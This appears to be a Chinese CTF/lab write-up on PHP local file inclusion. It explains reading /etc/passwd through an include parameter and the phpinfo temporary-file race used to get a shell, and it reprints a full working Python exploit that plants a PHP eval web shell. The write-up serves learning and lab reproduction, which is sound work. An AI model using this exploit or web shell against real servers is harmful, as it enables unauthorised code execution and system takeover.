[PHP]inclusion

 · 2020-5-1 · 次阅读


复现环境偷个懒,直接用的BUU的Real.
打开PHP-inclusion题目,进去后,尝试访问phpinfo.php
发现可以直接访问到phpinfo().然后回去查看该题目的源码,发现其www目录下只有两个文件
lfi.php和phpinfo.php,难怪直接访问就是phpinfo….
应该漏洞存在lfi.php发现其代码如下:

<?php
include $_GET['file'];

真是简单的文件包含,这里主要学习一下利用文件包含进行getshell.

我们尝试以下payload再次访问phpinfo.php

lfi.php?file=phpinfo.php

当然还可以访问其他服务器的敏感文件

lfi.php?file=/etc/passwd

当然如果服务器上存在其他文件,也可以使用目录穿越也就是../进行访问。

  • /etc/passwd文件中保存的是系统中的所有用户和用户的主要信息,通过上面这个payload也能看到如下:
    etc-passwd

那么如何getshell呢
一般getshell需要上传文件给服务器并且让服务器解析即可,这里就可以利用phpinfo进行文件上传。

这里之所以可以利用还有一个原因是被文件包含的文件都会被服务器解析成php文件,因而如果我们能通过一些手段让其包含我们上传的任意文件即可getshell.

原理:
在给php发送post数据包时候,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,PHP都会将这个文件保存为一个临时文件,通常会存在(/tmp/php[6个随机字符])

当然上传的文件信息会保存在全局变量$_FILES里
$_FILES超级全局变量很特殊,它是预定义超级全局数组中唯一的二维数组,作用是存储各种与上传文件有关的信息。这些信息对于通过PHP脚本上传到服务器的文件至关重要。

$_FILES['userfile']['name'] 客户端文件的原名称。
$_FILES['userfile']['type'] 文件的 MIME 类型,如果浏览器提供该信息的支持,例如"image/gif"。
$_FILES['userfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,默认是/tmp目录。
$_FILES['userfile']['error'] 该文件上传的错误代码,上传成功其值为0,否则为错误信息。
$_FILES['userfile']['tmp_name'] 文件被上传后在服务端存储的临时文件名

上面的$_FILES[‘userfile’][‘name’]这个变量值的获取很重要,也只有知道这个值,才能进行正确的包含。

存储目录

文件上传后,在linux服务器会存储到/tmp/下面。而Windows会存储在C:/Windows/Temp/下。

命名规则上面也写到了通常是php[6个随机字符]
而在windows中格式通常是(C:/Windows/php[4个随机字符].tmp)

那么上面讲到的为什么一定是在phpinfo下才能成功文件包含getshell呢,因为由于存储真实名字的随机性导致的。
由于phpinfo里面可以直接找到$_FILES变量的内容,因而就可以拿到临时文件变量名,从而达到漏洞利用。

那么怎样利用呢,这里就用到了条件竞争?
什么是条件竞争呢,很早我就碰到过了,大概是第十届极客大挑战的时候,我自己的理解是在服务器处理不了多个上传文件后,总会有些文件会被错误处理。意思是发包给服务器,发的过快,那么有些数据包就不会按照正常逻辑被处理。
而这里为什么需要用到条件竞争呢,由于文件包含漏洞和phpinfo是两个页面,当我们先发送数据包给phpinfo页面,
然后再找到临时文件吗,然后再送到另一个页面进行文件包含,但事与愿违,第一个请求结束后,临时文件就被删除了,第二个请求当然也没法成功包含。

那么利用条件竞争呢,写上脚本一个进行上传包的同时在直接查询到文件名送去另一个页面请求包含。
那么利用服务器处理不过来两个一起访问的情况,那么就能成功getshell.

具体原理和过程如下:

  1. 发送包含了webshell的上传数据包给phpinfo页面,这个数据包的header、get等位置需要塞满垃圾数据
  2. 由于phpinfo页面会打印数据,因而1中的数据会将phpinfo页面撑得非常大
  3. 这会导致什么呢?缓冲区溢出,php默认缓冲区大小是4096,意思是php每次返回4096个字节给socker连接
  4. 所以我们直接操作原生socker,每次读取4096个字节只要读取到的字符里包含临时文件名,就立即发送第二个数据包
  5. 此时,第一个数据包的socker连接实际上还没结束,因为php还在继续每次输出4096个字节,所以临时文件此时还没有删除
  6. 利用这个时间差,第二个数据包,也就是文件包含漏洞的利用,即可成功包含临时文件,最终getshell.

最后主要学习下,下面参考链接中的exp:

#!/usr/bin/python
#python version 2.7

import sys
import threading
import socket

def setup(host, port):
    TAG = "Security Test"
    PAYLOAD = """%sr
<?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    # PAYLOAD = """%sr
    # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG
    REQ1_DATA = """-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding = "A" * 5000
    REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """ + padding + """r
HTTP_ACCEPT_LANGUAGE: """ + padding + """r
HTTP_PRAGMA: """ + padding + """r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" % (len(REQ1_DATA), host, REQ1_DATA)
    # modify this to suit the LFI script
    LFIREQ = """GET /index.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)

def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((host, port))
    s2.connect((host, port))

    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt; ")
        fn = d[i + 17:i + 31]
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()

    if d.find(tag) != -1:
        return fn

counter = 0

class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args

    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter += 1

            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/Qftm.php"
                    self.event.set()

            except socket.error:
                return

def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.send(phpinforeq)

    d = ""
    while True:
        i = s.recv(4096)
        d += i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt; ")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")

    print "found %s at %i" % (d[i:i + 10], i)
    # padded up a bit
    return i + 256

def main():
    print "LFI With PHPInfo()"
    print "-=" * 30

    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)

    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port = 80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz = 10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()

    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()

    tp = []
    for i in range(0, poolsz):
        tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag))

    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot!  m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()

    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__ == "__main__":
    main()

很遗憾的是buu网站的只能内部才能访问,因而我们的脚本没法与其通信,当然如果BUU里面的LINUX装有python2的话也可以用,还是去本地docker复现一波吧。

先进入到php-inclusion目录下,然后:
docker-compose build创建docker环境
docker-compose up -d  启动靶机,不分配默认端口
docker ps  查看端口,便于访问。

参考:PHP LFI利用